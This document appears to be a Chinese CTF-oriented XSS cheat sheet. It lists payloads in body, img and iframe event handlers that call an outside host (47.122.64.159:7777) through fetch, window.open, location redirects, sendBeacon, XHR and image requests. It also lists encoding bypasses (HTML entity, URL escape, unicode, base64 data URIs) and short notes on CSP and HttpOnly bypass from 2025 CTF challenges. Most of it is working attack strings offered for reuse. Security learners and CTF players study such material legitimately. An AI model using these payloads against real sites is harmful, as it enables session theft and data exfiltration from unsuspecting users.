359 字
2 分钟
xss
xss
- DOM 中的事件监听器:如
location、onclick、onerror、onload、onmouseover等,一般在<img><link><object><body><iframe> - HTML DOM 标签属性:
<a>标签的href - JavaScript 的
eval()、setTimeout()、setInterval()等
标签属性 js 代码执行
<script>
<script> code</script>body 标签(事件监听器)
<body onload="window.open('http://47.122.64.159:7777/?a=')"><body onload="fetch('http://47.122.64.159:7777/?a=')">
<body onload="window.location.href='http://47.122.64.159/'"><body onload="window.location='http://47.122.64.159/'"><body onload="location.replace('http://47.122.64.159/')">
<body onload="window.location.assign('http://47.122.64.159:7777/?a=')"></body>img 标签 (事件监听器)
<img src=1 onxxxx="fetch('http://47.122.64.159:7777/?a=')"><img src=1 onerror="location='http://47.122.64.159'">iframe 标签(src 标签,事件监听器)
<iframe src="javascript:alert(1); fetch('http://47.122.64.159:7777')"></iframe>
<iframe src=1 onerror="fetch('http://47.122.64.159:7777')"> </iframe>还有很多标签,例如: <audio> <video> <svg> <object> <p> <detail>
部分 js 代码
javascript:codejavascript:fetch("http://47.122.64.159:7777")
location='http://47.122.64.159'window.location='http://47.122.64.159/window.open('http://47.122.64.159:7777/?a=')location.replace('http://47.122.64.159/')window.location.assign('http://47.122.64.159:7777/?a=')
var img = new Image();img.src = 'http://47.122.64.159:7777/';
navigator.sendBeacon('http://47.122.64.159:7777/', 'data=info');
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://47.122.64.159:7777/');xhr.send();常见绕过
href、src 等加载 URL 的属性可以使用 HTML、URL、JS 编码。
-
html编码十进制
<img src=1 onerror="javascript:fetch("http://47.122.64.159:7777")">javascript:fetch("http://47.122.64.159:7777")十六进制
j -> j<img src=1 onerror="javascript:fetch("http://47.122.64.159:7777")">javascript:fetch("http://47.122.64.159:7777") -
url编码<img src="x" onerror="eval(unescape('%6a%61%76%61%73%63%72%69%70%74%3a%66%65%74%63%68%28%22%68%74%74%70%3a%2f%2f%34%37%2e%31%32%32%2e%36%34%2e%31%35%39%3a%37%37%37%37%22%29'))">javascript:fetch("http://47.122.64.159:7777") -
unicode编码<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)"><img src=x onerror="\u0066\u0065\u0074\u0063\u0068('http://47.122.64.159:7777')"><img src=x onerror="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0066\u0065\u0074\u0063\u0068('http://47.122.64.159:7777')"><!--alert(1)fetchjavascript fetch用于关键字编码--> -
base64
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object><object data="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPSJcdTAwNjZcdTAwNjVcdTAwNzRcdTAwNjNcdTAwNjgoJ2h0dHA6Ly80Ny4xMjIuNjQuMTU5Ojc3NzcnKSI+"></object><!--<script>alert(/xss/)</script>只是会解析b64数据,不能执行代码,需要类似 <script> 功能的标签或者 提供一个<img src=1 onerror="evil code"><img src=x onerror="\u0066\u0065\u0074\u0063\u0068('http://47.122.64.159:7777')">--> -
空格绕过
/**// -
单双引号绕过
onerror=fetch(``) <!-- 可以不加引号在 onerror 处。 -->
CSP
找什么地方没有引用csp,使用跳转,在那个页面进行 xss 。2025 crewctf
httponly
三明治携带,2025 n1jctf
csp 属性注入
2025 RCTF meta 标签的 content 属性值,没有引号包裹,造成的 csp 注入。
<meta name="author" content=<?php echo $pageAuthor; ?>>'[csp属性]' http-equiv=Content-Security-Policy感觉 link meta iframe 用的好像多一点?
参考文章如下